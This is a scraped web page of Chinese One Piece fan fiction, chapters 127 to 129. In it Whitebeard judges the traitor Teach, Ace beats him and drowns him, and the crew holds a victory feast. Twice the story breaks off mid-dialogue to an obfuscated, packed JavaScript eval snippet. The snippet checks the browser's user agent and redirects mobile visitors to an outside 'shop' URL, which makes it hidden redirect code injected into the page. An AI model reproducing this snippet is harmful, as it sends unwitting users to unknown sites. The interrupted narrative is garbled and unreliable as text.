那叹息声仿佛承载了数十年的光阴,承载了无数欢笑与泪水,承载了一个父亲对走入歧途的孩子的最终审判。 “蒂奇……” 老人的声音响起,低沉、缓慢,带着一种穿透时光的厚重感。 甲板上落针可闻。连蒂奇的哭泣都下意识地停止了,他屏住呼吸,瞪大眼睛,死死盯着白胡子的嘴唇。 “作为一个父亲,”白胡子缓缓说道,每个字都像是从胸腔里艰难地挤出,“没有早早察觉你心中滋长的黑暗,没有引导你走向正途,使你做下无法挽回的错事……这也是我这个父亲的失职。” 黑胡子猛地停止了哭嚎,身体僵住。他难以置信地抬起头,浑浊的泪眼中,一丝微弱得几乎看不见的、名为“希望”的光芒,如同风中残烛般,摇曳着亮起。 “所以,蒂奇……” 白胡子的声音顿了顿,那双能撕裂天空与大地的眼睛,此刻却流露出一种近乎神性的宽容: “我宽恕你。” 这句话如同巨石投入深潭,在甲板上激起无声的巨浪。许多队员的瞳孔骤然收缩,握紧武器的手背青筋暴起。艾斯的呼吸停滞了一瞬,火焰几乎不受控制地从毛孔中窜出,又被死死压回体内。 而蒂奇,在听到“宽恕”二字的瞬间,整个人如同被注入了一针强心剂!他眼中的光芒几乎要迸射出来!活了!他活了!老头子果然还是那个心软的老头子!他赌对了! “老爹!谢谢您!谢谢您!!”他涕泪横流,语无伦次地哭喊着,身体在地上激动地蠕动,试图抬起身,想要去够白胡子的靴子,“我就知道!我就知道您不会放弃我的!我以后一定好好做人!我一定……” 他的话语戛然而止。 因为一只脚,一只穿着沾满灰尘和血迹的靴子的脚,重重地踩在了他的后背上,将他刚刚抬起一点的身体狠狠踩回甲板! “呃啊!”蒂奇的脸被迫紧贴冰冷的木板,发出痛苦的闷哼。 是艾斯。 艾斯不知何时已经走到了他身边,右脚稳稳地踩在他的脊梁骨上,力道大得仿佛要将他踩进甲板里。艾斯低着头,帽檐的阴影遮住了他上半张脸,只露出紧绷的下颌线和紧抿的、没有一丝弧度的嘴唇。他没有看蒂奇,只是那样踩着,一动不动。 蒂奇心中一惊,但随即涌起更多的狂喜——艾斯再愤怒又如何?只要老头子开口宽恕,这些小鬼就算再不满,也不敢违逆老爹的命令对自己下杀手!他们只能忍着!而他,只要活着离开,凭借暗暗果实,凭借这些年积累的见识和隐忍……他一定可以东山再起!到时候…… 他勉力抬起头,忽略后背的疼痛,继续用最卑微、最恳切的语调哭诉:“老爹……艾斯队长……我知道我罪该万死……但我真的悔改了……求求你们再给我一次机会……我从小在船上长大,这里就是我的家啊……老爹,您还记得吗?我12岁那年发烧,是您守了我一夜……我15岁第一次出海受伤,是您给我包扎……这些恩情,我一刻都不敢忘啊老爹……” 他细数着过往的点点滴滴,试图用那些温暖的记忆软化在场每一个人的心。他太擅长这个了,二十多年的潜伏,他早已将“情感”也变成了可计算的筹码。 他赌对了,能赢! 127.终章.审判与终结.下 白团的成员们依旧沉默,只是那沉默越来越冷,越来越硬。他们太了解自己的老爹了。他爱得毫无保留,甚至可以纵容到近乎盲目。 而白胡子,在蒂奇提到那些久远往事时,眼中确实闪过了一丝微不可察的波动。但很快,那波动便被更深沉的东西取代。 他极其缓慢地从那张巨大的座椅上站了起来。 丛云切随着他的动作被提起,刀柄离开了地面。 这个简单的动作,却仿佛抽走了甲板上所有的空气。一股无形的、沉重的压力弥漫开来。 蒂奇的哭诉下意识地停了。他仰着头,看着那个如山岳般站起的巨人,看着他脸上最后一丝温情褪去,只剩下一种冰冷的、属于“四皇”白胡子的绝对威严。 “但是!” 白胡子一声爆喝! 声音如同海上惊雷,炸响在每个人耳边!恐怖的霸王色霸气不受控制地泄露出一丝,天空仿佛都暗了一瞬,甲板上实力稍弱的队员感到一阵头晕目眩,几乎站立不稳 蒂奇眼中的光芒,在这声爆喝中剧烈震颤、破碎。他脸上的哀求僵住了,化为一片空白。 白胡子居高临下地俯视着他,声音斩钉截铁,每一个字都像重锤砸下: “马歇尔·D·蒂奇!” 他不再叫他“蒂奇”,而是用了全名。这意味着此刻发言的,不是“父亲”爱德华·纽盖特,而是“白胡子海贼团船长”白胡子。 “你犯了老夫船上唯一、绝对不可饶恕的重罪——” 白胡子的声音陡然拔高,如同宣告最终判决: “你伤害了老夫的家人!!!” 这是底线,是逆鳞,是白胡子海贼团赖以存在的基石,也是白胡子海贼团绝不容触碰的禁区。 蒂奇的身体彻底僵住,连颤抖都忘记了。 “从今天起,”白胡子一字一顿,声音冰冷如铁,“你和老夫,再无半分瓜葛!你不再是老夫的儿子,不再是白胡子海贼团的一员!你的生死,你的罪孽,都与老夫无关!” 他顿了顿,丛云切的刀尖微微抬起,指向蒂奇: “马歇尔·D·蒂奇,这是最后一次。如果你胆敢再次出现在老夫,或者任何一位家人面前——” 白胡子的眼中,终于迸发出了清晰的、毫不掩饰的杀意 “老夫会毫不犹豫地……” “夺取你的性命!” 最后的六个字,如同冰锥,钉死了蒂奇所有的侥幸。 说完,白胡子不再看地上瘫软如泥的蒂奇,转身,迈着沉重的步伐,向船舱走去。他的背影依旧挺拔如山,却仿佛带上了一丝难以言喻的疲惫。 甲板上死寂一片。 蒂奇呆呆地趴在地上,大脑一片空白。宽恕……但断绝关系?不再追究,但也不再有情分?这……这是什么判决?不是死刑,但也不是无罪释放…… 突然,他涣散的瞳孔重新聚焦,一丝扭曲的亮光重新燃起! 等等!只要不是当场处死,只要活着离开这里……老头子说“不再追究”,那就是说白胡子海贼团不会再主动追杀他!这些家伙就算再恨他,碍于老爹的命令,也不敢明目张胆地动手!只要他逃得够远,藏得够深……他还有机会!暗暗果实还在,野心还在,他还可以从头再来!对!就是这样!留得青山在,不怕没柴烧!先活下去!活下去就有无限可能! 狂喜再次涌上心头,甚至比刚才听到“宽恕”时更加炽烈!因为他知道,这可能是最理想的结果了!他嘴角的肌肉不受控制地抽动,一个扭曲的、劫后余生的笑容几乎要浮现出来…… 然而。 就在他心念电转、规划着未来如何东山再起之际—— 已经走到船舱门口的白胡子,脚步微微一顿。 他没有回头。 但那低沉、平静、带着万钧之力的声音,清晰地传遍了安静的甲板,传入了每一个人的耳中: “艾斯。” 白胡子叫了自己二番队队长的名字。 然后,他说出了那句决定最终命运的话: “把叛徒……” “……投海吧。” 时间,仿佛在这一刻凝固了。 蒂奇脸上那尚未成型的狂喜笑容,彻底僵死。他的眼睛瞪大到极致,眼球几乎要凸出眼眶。瞳孔深处,倒映着无边的蔚蓝大海,以及那即将到来的、属于能力者的绝望。 投海?! 他是恶魔果实能力者!被海楼石锁链捆着投海,和直接判他死刑有什么区别?!不!比死刑更残酷!是活生生溺毙在无力与窒息中! “等……等等!!!”蒂奇的喉咙里爆发出凄厉到变形的嘶吼,那声音不像是人类能发出的,“不要啊!!!老爹!!!老爹——!!!” 他疯了似的挣扎起来,被海楼石压制的身体爆发出最后的力量,像一条离水的鱼般疯狂扭动。锁链被他挣得哗啦作响,他抬起头,死死盯着白胡子即将消失在舱门的背影,眼泪、鼻涕、口水再次不受控制地涌出,混合着极致的恐惧与绝望: “老爹!!!您说过宽恕我的!!!您不能这样!!!我是您的儿子啊!!!您说过我们是家人的!!!老爹——求求您!!!不要啊——!!!” 然而,白胡子的背影没有丝毫停顿,消失在了船舱的阴影里。 他说了宽恕。宽恕的是那个走入歧途的“孩子”马歇尔·蒂奇。 但执行审判的,是白胡子海贼团的船长,是对伤害家人者绝不留情的“四皇”。 宽恕与惩罚,在此刻完成了残酷而公正的统一。 听到老爹最终命令的艾斯,终于笑了出来。 那是一种前所未有的、明亮到近乎剔透、真诚到毫无阴霾的笑容。仿佛积压了两年的乌云被一瞬间驱散,仿佛背负了七百多个日夜的重担被彻底卸下,仿佛灵魂深处某个一直在流血的黑洞,终于被温暖的阳光填满。 他从来不是什么以德报怨的圣人。他是海贼,是火拳艾斯,是爱憎分明、快意恩仇的男人。他等待这一刻,已经等了太久太久。 艾斯收回了踩在蒂奇背上的脚,走到被锁链禁锢、仍在徒劳嘶吼挣扎的蒂奇面前,蹲下身。 他脸上还带着那抹明亮的笑容,但眼神里没有任何温度,没有任何怜悯。只有一片冰冷的平静。 他看着这个造成萨奇重伤、引发顶上战争、害得无数伙伴牺牲、让老爹震怒悲痛、也让自己和小狸历经生死磨难的元凶,看着这个直到此刻眼中仍只有自己野心和性命的叛徒。 艾斯握紧了拳头。指骨发出轻微的“咔哒”声。 第一拳,狠狠地砸在蒂奇那因恐惧而绷紧、却无法元素化的肥胖肚腩上! “呕——!!!” 蒂奇猛地弓起身子,像一只煮熟的虾米,眼珠暴突,一大口混杂着胃液、胆汁和血沫的污物从他大张的嘴里喷溅出来,淋湿了他自己的下巴和前襟。剧痛让他连惨叫都发不出,只能发出窒息般的“嗬嗬”声。 第二拳,砸在他那涕泪横流的脸上!鼻梁骨碎裂的脆响清晰可闻!鲜血瞬间涌出,糊满了他下半张脸! 第三拳,第四拳…… 艾斯没有停手。每一拳都结实而沉重,避开要害,却最大限度地制造痛苦。他在用最原始的方式,讨还着血债。 蒂奇像一滩烂泥般瘫在甲板上,只剩下身体本能的抽搐和微弱痛苦的呻吟。他脸上鲜血淋漓,胸部凹陷,肋骨似乎断了几根。海楼石锁链让他连昏厥都成为一种奢侈,只能清醒地承受着每一分痛苦。 直到黑胡子像一摊彻底烂掉的肉泥般瘫软在地,连呻吟的力气都没有,只能发出微弱的气音,艾斯才缓缓停了手。他甩了甩沾上血污的拳头,站起身,长长地、仿佛要将胸腔里所有浊气都呼出一般,吐了一口气。 “拖走。”他声音平静,对旁边的队员示意。 炎雀号已经用缆绳与莫比迪克号并靠。二番队的队员们早已等候在炎雀号的甲板上,面色冷峻。 在所有人的注视下,蒂奇被拖过船舷,重重摔在炎雀号的甲板上。他艰难地睁开肿胀的眼皮,看到的是昔日队友们冰冷的目光,那些他曾一起喝酒、一起战斗、一起称兄道弟的人,此刻看他的眼神如同看一堆即将被处理的垃圾。 炎雀号的缆绳被解开,风帆扬起,缓缓驶离了莫比迪克号,向着远离海岸的深水区驶去 海风凛冽,吹在蒂奇血肉模糊的脸上,带来刺骨的疼痛和更深的恐惧。他眼睁睁看着莫比迪克号那庞大的船体在视野中越来越小,看着船头那个月牙胡须的标志逐渐模糊,仿佛他几十年的人生,也正在随之远去,沉入黑暗。 当炎雀号航行到一片足够深邃、远离所有航线的海域时,船只停了下来 蒂奇似乎预感到了什么,用尽最后的力气,发出微弱而断续的哀求:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161958|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾……艾斯队长……求求你……别……我还不想死……我还可以……我可以把暗暗果实的秘密告诉你……都告诉你……” 艾斯没有回答。他甚至没有再看蒂奇一眼,只是对旁边的队员点了点头。 两名队员上前,一左一右抓住蒂奇身上的锁链,将他拖到船舷最高处。 蒂奇惊恐地瞪大眼睛,看向下方——那是一片无边无际的、深不见底的蔚蓝。阳光穿透海水,只能照亮浅浅的一层,下方是永恒的、令人窒息的黑暗。 那是能力者的坟墓。 “不……不……不要……啊啊啊啊——!!!!” 最后的、凄厉到不似人声的惨嚎,戛然而止。 噗通。 重物落水的声音。 一圈涟漪荡开,很快又归于平静。 深蓝色的海面下,那个被锁链缠绕的身影,只挣扎了几下,便如同绑着巨石的秤砣,迅速被无尽的黑暗吞噬,下沉,再下沉,直到彻底消失在视线之外,沉入那连阳光都无法抵达的、永恒的寂静深渊。 海风吹过,带走了最后一丝痕迹。 一切因恶魔果实开始的罪恶,最后也会因恶魔果实而终结 艾斯站在船舷边,静静地看着那片恢复平静的海面,看了很久。 结束了。 海风吹过,带着咸腥的气息,也吹散了空气中最后一丝血腥与硝烟味。心头那块压了两年、冰冷沉重的巨石,在这一刻,终于悄然崩解、消散。留下的,是一种近乎虚脱的轻松,以及一丝……空虚。 身上忽然一沉。 艾斯低下头,看到一个毛茸茸的黑色脑袋抵在了自己胸口。小狸不知何时走了过来,双手环抱住他的腰,把脸埋进他怀里。她没有说话,只是那样抱着,很用力,仿佛想用自己的体温驱散他心中最后一丝阴霾。 艾斯能感觉到她身体的温暖,能闻到她发间熟悉的、淡淡的阳光和皂角的味道。他僵硬的身体,一点点放松下来。 似乎是注意到了他情绪依旧有些低落,小狸在他胸口蹭了蹭,然后抬起头,蔚蓝的眼睛里映着阳光和海浪的碎光,脸上绽放出一个无比灿烂、仿佛能照亮一切阴霾的笑容。 “艾斯——”她拖长了声音,带着点撒娇的意味,“饿了。我们回去吃饭吧!” 那笑容太过明亮,太过纯粹,让艾斯微微怔住。 这时,丢斯也走了过来,很自然地伸出手臂,从侧面揽住了艾斯的肩膀,用力拍了拍,给了他一个男人之间无声的支持。 “对啊,”丢斯笑着说,语气轻松,“从早上到现在,除了揍人,可什么都没吃呢。肚子早就抗议了。”他凑近些“今晚庆功宴,你可得跟我喝个痛快!不醉不归!谁先趴下谁就是怂包!” 小狸依旧抱着艾斯的胳膊,闻言立刻点头如捣蒜,生怕他又想起不好的事情不开心,努力地想要转移他的注意力:“萨奇早就开始准备啦!说要做超——级——丰盛的大餐!我要大吃特吃!把早上没吃的都补回来!”她眼睛亮晶晶的,满是对美食的期待。 艾斯看着她这副模样,嘴角终于不受控制地,勾起一丝真切的、温柔的弧度。 “小猫的肚子,”他伸手,轻轻捏了捏小狸的鼻尖,“能装得下那么多东西吗?” “那肯定还是艾斯你能吃!”丢斯立刻接茬,故意做出夸张的苦恼表情,“咱们二番队的大半伙食费,可都进了某位火拳队长一个人的肚子!萨奇每次算账都要念叨!” “喂!丢斯——!”艾斯扶了扶帽子,耳根有点发红,但那笑容却越来越大。他知道,他们是在用自己的方式关心他,担心他,想要把他拉回温暖热闹的日常里。这份心意,如同暖流,缓缓注入他刚刚经历过审判与终结的心。 小狸又开始偷懒耍赖,整个人几乎挂在他胳膊上,晃来晃去,拖着长音撒娇:“饿了饿了!我要饿死了!走不动了!艾斯抱我!” 艾斯看着她那副样子,终于忍不住低笑出声。那笑声起初很轻,然后越来越明朗,最后变成了畅快的大笑。他弯腰,一把将小狸打横抱了起来。 “好!”艾斯朗声应道,抱着小狸,转身面向自己的船员们,眼中重新燃起了熟悉的、明亮的火焰,“扬帆!调头!我们——” 他顿了顿,目光扫过每一张充满关切和笑意的脸,声音清晰地传遍甲板: “——回家吃饭了!” 正文完结 128.庆功宴[番外] 庆祝的宴会直接摆在了登天之岛的海滩上。燃烧的巨大篝火堆像一颗坠落人间的太阳,将整片沙滩染成温暖的金色。火星随着海风升腾,混入漫天星斗,一时竟分不清哪是余烬,哪是星辰。 大家推杯换盏,热闹非凡。船上带来的食物酒水并不多,好在黑胡子海贼团在岛上的储备仓库被尽数找出,成桶的麦酒、腌肉、风干水果,甚至还有几箱包装精致的、不知从哪个贵族船上劫来的点心。萨奇一边开箱一边啧啧称奇:“蒂奇那家伙,倒挺会享受。” 放下豪言要“大吃特吃”的小猫,此刻正和柯达兹挤在篝火边最暖和的位置。明明烤架上堆满了滋滋作响的肉串,盘子里盛着萨奇特制的海鲜烩饭,两只毛茸茸的家伙却总是执着于争夺同一块肉。 “喵嗷!”小狸的爪子按着一块烤得焦香的肋排一端。 “吼呜。”柯达兹巨大的前掌抵着另一端。 两双眼睛在火光中对峙,尾巴一个竖得像旗杆,一个拍得沙尘微扬,抢来的,似乎总是更香些。 今天,战局里多了一位新成员。 “哒!哒哒!” 小哒长得飞快,如今体型已接近柯达兹。它褪去了大半灰黑色的绒毛,新生出的飞羽呈现出炽烈的火红色,在篝火映照下仿佛自带光晕。翅膀虽未完全长成,但已能扑腾着短距离腾空滑翔。此刻它正兴奋地绕着“拔河”中的一猫一猞猁转圈,瞅准时机,鸟喙闪电般探出—— “咔嚓!” 肋排正中最肥美多汁的中段,被它精准啄走。 “喵?!”小狸愣住。 “吼?!”柯达兹呆住。 小哒早已扑棱着翅膀跳到稍远的木桶上,仰脖将肉咽下,发出一串得意又满足的“哒哒”声,火红的尾羽骄傲地翘起。 “小狸,过来和大家喝酒了。”艾斯笑着走过来,手里端着两杯冒着泡沫的麦酒,“功臣要有功臣的样子,总跟小动物抢吃的算什么事。” “我才没抢!是柯达兹先……”小狸话没说完,就被艾斯揽着肩膀带离“战场”。小狸依依不舍的一步三回头,柯达兹见她走了也没了抢食的快乐,悻悻地松了口,最后那块被争夺许久的肋排进了小哒仿佛无底洞般的胃。小胖鸟满足地打了个带着肉香的嗝,蹭了蹭柯达兹的脖子,被大猫嫌弃地一爪子推开,却又很快依偎在一起,分享着篝火的温暖。 庆功的气氛热烈,但久经战阵的白团成员们都懂得分寸。酒喝得畅快,却无人烂醉如泥;笑声恣意,但巡哨的队员依然目光锐利地扫视着黑暗的海面。毕竟,这里还不是绝对安全的后方。 但这不妨碍狂欢的创意。几个年轻队员从黑胡子仓库里翻出了成袋的金币、未经打磨的宝石和几件略显浮夸的金饰。他们毫不客气地将项链、手镯、戒指全套在身上,在篝火边做出夸张滑稽的姿态,模仿贵族老爷的傲慢步伐,或是摆出雕像般僵硬的造型。金器在火光下闪闪发亮,衬着他们被海风和战斗磨砺的脸庞,反差感惹得全场爆笑,财富在此刻只是助兴的笑料,而非目的。 宴会的长桌是临时用木板和空桶搭成的。桌边,几个位置被特意空了出来,每个空位前都摆着一只干净的木杯。没有人刻意说明那是为谁而留,但无论是端着酒肉的、说笑走过的、还是默默独酌的人都会停下脚步,拿起旁边的酒壶,往那些空杯里斟上一点。 倒酒的动作很轻,表情很平静。有人倒的是麦酒,有人倒的是清酒,有人倒的是从黑胡子仓库里找出的、标签精致的葡萄酒。不同的液体在杯中慢慢汇聚,混合成一种独一无二的光泽。 夜深了些,篝火依旧旺盛。月光洒下来,恰好落在那几只满溢的酒杯上。液体表面微微晃动,映出跳动的火光与安静的月色,温柔地注视着这场为生者举办的庆贺。 没有悼词,没有眼泪。只有一次次无声的斟满,和杯中永不干涸的月光。敬那些在顶上战争中永远留在马林梵多的同伴,敬所有未能归家的家人。这是一场属于海贼的纪念,是把逝去的同伴,永远留在宴席的席位里。 小狸酒量依旧没多少长进,偏偏人菜瘾大。几杯果酒下肚,整个人就变得软绵绵、晕乎乎。不过这次她没闹,只是安安静静地爬到艾斯背上,最后干脆骑到他肩膀上,双手抱住他的脑袋,脸颊贴着他黑色的头发。 “艾斯……”她嘟囔,声音含混。 “嗯?” “你好暖和……”她把整个人的重量都交给他,尾巴松松地垂下来,扫过他的后背,“像篝火一样……” 艾斯失笑,伸手扶住她垂下来的小腿,防止她坐不稳。她就这么挂在他身上,像一只找到温暖树干的小树袋熊,偶尔蹭蹭他的头发,发出满足的呼噜声。 比斯塔不知从哪里翻出一把断弦的鲁特琴,正试图用剑尖调音,拨出几声滑稽的走调音符,引得众人哄笑。 小狸渐渐安静下来。酒精让她身体发热,思维像裹了层柔软的棉絮。她不再骑在艾斯肩上,而是滑下来,蜷进他怀里,脑袋枕着他的腿,尾巴无意识地圈住他的脚踝。眼睛半阖,望着跳跃的火苗,听着周围嘈杂却令人安心的声音——丢斯又在讲他的“大退朝”;以藏正优雅地小口啜酒,和哈尔塔低声讨论着和之国有哪种酒适合搭配烤鱼;布拉克曼巨大的鼾声已经在角落响起…… 酒足饭饱,倦意和放松感如潮水般漫上。众人三三两两瘫在温暖的沙滩上,听着海浪轻柔的呼吸和篝火持续的噼啪声。战斗的紧张感彻底褪去,留下一种深沉的、近乎神圣的宁静。 “快看,退潮了。” 不知是谁轻声说了一句。 人们纷纷坐起身,或转过头,望向大海。 海水正在以一种肉眼可见的速度向后退去,露出潮湿的沙滩和深色的礁石。月光下,裸露的海床越来越大,泛着湿润的微光。 “噢——!”有人发出惊叹。 “是丢斯说的‘百年大退潮’吗?” “那个传说里的‘登天之岛’遗迹要露出来了?” 期待在人群中弥漫。就连半醉的小狸也揉着眼睛,从艾斯肩上探出脑袋,好奇地张望。 海水不断退却,留下大片光滑的岩石、摇曳的海草丛和来不及逃回深水、在浅洼里蹦跳的小鱼。然而,直到退势停止,众人视野里出现的,也依旧是再普通不过的海岸礁石地貌,根本没有想象中的水下都市 “什么啊……就是普通退潮嘛。” “我还真担心了一会儿,怕咱们的莫比迪克号搁浅在这儿呢。” “毕竟是丢斯说的嘛,倒也正常。” “是啊,毕竟是丢斯嘛。”旁边的人立刻接上,忍俊不禁。 丢斯正抱着一杯酒坐在不远处的木桩上,闻言差点跳起来:“喂!你们这几个家伙!很失礼啊!古籍上明明记载了……”他的抗议被淹没在众人愉快的大笑声中。 艾斯坐在白胡子身边稍低一些的沙地上,背靠着一根巨大的浮木。小狸已经在他腿上睡熟了,发出细微的、猫咪般的呼噜声。他一只手无意识地轻轻梳理着她脑后的头发,感受着发丝穿过指尖的柔软触感。 白胡子灌下一大口酒,侧头看他。老人的目光在火光下显得格外深邃。 “怎么?”白胡子的声音低沉,带着酒意的醇厚,“一副……卸下重担后反而不知道该往哪使劲的空虚样子?小鬼,失去追赶的目标了?” 艾斯怔了怔,低头看看自己空着的另一只手。火焰在掌心无声燃起一小簇,橙黄温暖,乖巧地跃动着。两年了,这火焰一直烧灼着仇恨、驱动着追逐。如今仇敌沉入深海,火焰依然在,却似乎少了那份焦灼的迫切。 “我的目标……”艾斯开口,声音有些沙哑,“是让老爹当上海贼王。” 这句话他说过很多次,有时是意气风发的宣告,有时是坚定的信念。但此刻说出来,却带着一丝连他自己都未察觉的迷茫——如果那不再是需要燃烧一切去奋斗的目标呢? “咕啦啦啦啦啦!”白胡子爆发出洪亮的笑声,震得旁边酒杯里的酒液都漾起波纹,老人笑够了,又喝一口酒,“海贼王?老夫已经老了,就对那个位置也没什么兴趣”他望向篝火,望向漆黑浩瀚的大海,目光仿佛能穿透夜色,看到无数过往与远方。“现在这样的日子,有你们这群吵吵闹闹的笨儿子在身边,有酒喝,有架打,船还能继续往前开,对老夫来说,就已经是世界上最美好的事了。” 他顿了顿,声音低沉下来,却带着一种千帆过尽的坦然与满足: “每多活一天,都是赚到的。” 睡在艾斯怀里的小狸迷迷糊糊听到这句话,耳朵动了动。 “老爹不许说丧气话。”她揉着眼睛,从艾斯腿上爬起来,摇摇晃晃地、却又目标明确地爬向白胡子。艾斯下意识想扶,她却已经手脚并用地爬上了白胡子盘坐的巨腿,毫不客气地坐进那让人安心的怀抱里,仰起脸,蔚蓝的眼睛在火光下亮晶晶的,满是认真的不满。 “老爹答应过我要活一千年呢。”她一字一顿地说,像在重申一个重要的契约。 白胡子低头看着怀里小小的一团,大手落下,几乎能完全覆盖她的头顶。他没有说话,只是眼角的笑纹更深了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168471|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小狸似乎觉得光说不够,她深吸一口气,还有些困意,迷迷糊糊的闭上眼睛,一丝乳白色的、柔和的光晕,从她周身悄然浮现。那光并不刺眼,带着生命本身的温暖。光晕如水波般荡漾,缓缓流淌,丝丝缕缕地渗入老人庞大的身躯。 小狸整个人仿佛笼罩在一层朦胧的光纱里,猫耳的轮廓,发梢,甚至睫毛尖端,都染上了一点莹白。她打着哈欠,困的晃来晃去,调动着体内那份源于马尔科、又经由她自己不断理解和重塑的治愈力量,现在这份力量已经变成了她的一部分,流动向呼吸一样流畅。不仅仅是治疗伤势,更像是在温养那份历经磨损却依旧磅礴的生命力。 白胡子没有动。他感受着那股暖流温和的渗入陈年旧伤最深的缝隙,抚平那些连不死鸟火焰都难以触及的、岁月与战斗留下的沉疴隐痛。这细雨润土般的滋养,更适合调理陈年旧疴和维持生机。 他低下头,看着自己的小女儿。宽大的手掌抬起来,轻轻落在她毛茸茸的头顶,极温柔地摸了摸。 他没有拒绝这份关心。 自从小狸从风车村归来,真正掌握并开始在马尔科的指导下深入开发这份治愈能力后,她便主动接过了定期为白胡子温养身体的工作。 她能感觉到老爹体内那些深藏的暗伤、衰老带来的滞涩、以及经年累月战斗积累的沉疴。她的力量像最耐心的清泉,一点一点冲刷、滋养、唤醒那些疲惫的细胞。进展缓慢,却真实可见。 白胡子能感觉到,一股温和的暖流正在四肢百骸间游走,他的气色也在她回来后以肉眼难以察觉的速度好转,虽然不可能重返青春巅峰,但身体的负担确实在减轻,甚至比顶上战争前还要显得康健一些。 这不仅仅是治疗,这是小狸在用她自己的方式,笨拙却执拗地,想要留住这片苍穹。 马尔科不知何时走了过来,抱着手臂靠在旁边的浮木上,眼镜后的眼睛专注地观察着小狸周身的光晕和白胡子放松下来的面部线条。他嘴角勾起一个极淡的、欣慰的弧度。 “小丫头,”白胡子终于开口,声音比刚才更温和了几分,“可以了。” 小狸应了一声,光晕渐歇。这样的治疗对于现在的她来说完全够不成负担,她的眼睛依然亮着,执着地看着他:“老爹要说话算话。” “咕啦啦啦……好,说话算话。”白胡子用指背轻轻蹭了蹭她的脸颊,“为了能多看你们这些小混蛋胡闹一千年。” 潮水退去又复归平静的插曲过后,篝火边渐渐安静下来。饱食与微醺带来了舒适的倦意。有人直接瘫在沙滩上仰望星空,有人靠着同伴的肩膀打盹。 萨奇和几个队员开始用贝壳和树枝玩一种幼稚的沙滩游戏,赌注是明天谁洗碗。以藏和马尔科在不远处用翻到的棋盘下着家乡的游戏,比斯塔终于调好了琴,开始弹奏一首不成调但欢快的小曲,有人跟着轻轻哼唱 小哒吃饱喝足,蜷在柯达兹厚实的背毛里打盹,火红的翅膀偶尔轻轻抽动一下。柯达兹任由它靠着,巨大的脑袋搁在前爪上,金色的虎目半眯着,映着跃动的火光。 丢斯虽然还在为“退潮传说”被调侃而假装气鼓鼓,但嘴角的笑意却藏不住。他拿出随身的小本子,就着篝火的光,快速记录着什么,也许是今晚的趣事,也许是新的灵感。 艾斯看着这一切 他看着篝火边每一个家人松弛的、带笑的、活生生的脸,看着所有人以各自的方式,沉浸在这劫后余生的安宁里。 他胸腔里那股战斗结束后短暂的虚空感,正在被眼前这幅温暖、嘈杂、无比真实的画面一点点填满。 目标? 眼前的一切,就是他的目标。守护这个家,让这样的夜晚能够一次又一次地延续下去,让篝火永远不灭,让笑声永远响亮。 他拿起萨奇留下的烤虾,咬了一口。香料炙烤后的焦香和虾肉的鲜甜在口中炸开,味道好极了。 已经回到他怀里睡得迷迷糊糊的小狸突然被艾斯塞了一口虾,下意识的嚼了嚼,哼哼唧唧的咽下去 “艾斯。”她迷迷糊糊地叫了一声。 “嗯?” “明天早上……我想吃煎饼。”她含糊地说,“很多很多糖浆的。” 艾斯低头,看着她已经又快闭上的眼睛,睫毛在脸颊上投下小小的阴影。 “好。”他轻声应道,拉过自己的外套盖在她身上。 “还有……” “什么?” “……真好。”她咕哝了一句什么,彻底沉入梦乡。 有你在,真好 129.四皇有五个不是常识么[番外] 距离了断之战结束,已经过去好几天了。 由于黑胡子事件的收尾工作远比预想中繁琐,炎雀号前往和之国的首航计划被彻底打乱。岛屿需要清理,己方和俘虏有不少伤员需要救治,缴获的物资需要清点登记,与赏金猎人的交接需要安排……马尔科一个人忙得脚不沾地,眼镜后的黑眼圈快赶上他青炎的颜色了。 几人被马尔科无情扣下,小狸和丢斯成了临时医疗队,艾斯则成了后勤组的苦力。 “为什么我也要——”丢斯抱着成摞的伤员记录本抗议,治疗他也认了,为什么还要负责承担文书工作啊 “因为大作家字写得最好看,字迹清晰,那些家伙写的都不如小哒用爪子划的。”马尔科头也不抬,手里同时处理着三个伤员的缝合,“而且,你不也是一直帮艾斯弄的么,肯定比小狸懂得多些。” “那是因为艾斯这个笨蛋什么都不管我才被迫——” “所以更要负责到底。”小狸抱着一大捆消毒绷带路过,猫耳朵耷拉着,却不忘补刀,“丢斯先生,快点啦,三号帐篷的镇痛剂要补给了。” 丢斯“……” 于是,几人在充斥着药水味、呻吟声和纸张摩擦声的临时医疗所里熬了几个通宵。小狸负责用她日益精细的治愈能力辅助处理内外伤和感染,丢斯则负责所有文书工作和药品清点。两人熬得眼睛通红,小狸的毛都显得黯淡了些。 等到最后一批伤员情况稳定,所有事项终于理出清晰的头绪、交接完毕,战利品清册封箱,岛屿防线也初步重建结束,连后续的航行补给都安排妥当时,时间已经悄无声息地溜走了好几天。 “终于……”丢斯瘫坐在一堆空木箱上,揉了揉发胀的太阳穴,“我感觉自己写了一百万字的报告……” 小狸也没好到哪里去,直接变回了小黑猫,蜷在马尔科腿边,累得连呼噜都打不动了。 虽然过程有些辛苦,但是小狸排队从马尔科那里领到一笔堪称“天价”的零花钱,尽管萨奇私下吐槽那是马尔科“用加班费封口”的策略,但还是觉得浑身充满干劲,尾巴翘得老高: “我觉得我还能再熬几天!”她握着小拳头,眼睛亮晶晶地盯着钱袋。 马尔科推了推眼镜,面无表情:“驳回。现在,全体休息。” 日子终于恢复了短暂的悠闲,甚至悠闲得让人有些无所事事。莫比迪克号已经回到了常规航线,午后的阳光正好,甲板上暖洋洋的。 